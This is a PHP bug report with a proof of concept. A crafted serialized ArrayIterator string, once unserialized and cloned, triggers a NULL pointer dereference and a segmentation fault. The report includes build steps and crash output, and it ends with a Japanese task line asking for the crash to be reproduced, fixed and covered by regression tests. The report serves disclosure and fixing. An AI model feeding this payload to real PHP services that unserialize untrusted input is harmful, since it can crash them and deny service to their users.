The unserialize function with ArrayIterator leads to NULL pointer dereference when object cloned

Description

Version: PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)
Researcher: Igor Sak-Sakovskiy (Positive Technologies)

Language assembly and compilation.
Listing 1. Language assembly and compilation.

$ git clone https://github.com/php/php-src.git
$ cd php-src
$ ./buildconf
$ ./configure
$ make -j8
$ ./sapi/cli/php -v
PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
    with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce

The source code.
Listing 2. The source code.

<?php
$payload = 'O:13:"ArrayIterator":3:{'
    . 's:1:"0";i:0;'
    . 's:1:"1";a:0:{}'
    . 's:1:"2";a:2:{i:0;i:0;i:1;i:0;}'
    . '}';

$obj = unserialize($payload);  // Successful unserialization
$clone = clone $obj;            // Segmentation fault
?>

Executing this PHP code results in Segmentation fault due to corrupted pointer access, leading to Denial of Service (DoS).
Listing 3.

$ ./php-src/sapi/cli/php poc.php

Deprecated: Creation of dynamic property ArrayIterator::$0 is deprecated in /home/administrator/Temp/poc.php on line 8

Deprecated: Creation of dynamic property ArrayIterator::$1 is deprecated in /home/administrator/Temp/poc.php on line 8
Segmentation fault (core dumped)

NULL pointer dereference leads to process crash, causing Denial of Service. In ZTS mode, this can stop all currently served requests in the process.

PHP Version

PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)

Operating System

No response

php-src をビルドし、提供された ArrayIterator の unserialize-and-clone 再現コードを sapi/cli/php で実行して segmentation fault を確認する。ArrayIterator の unserialize および clone の経路を追跡し、その後、再現コードがクラッシュしなくなったこと、および影響を受ける動作が適切な回帰テストで引き続きカバーされていることを確認する。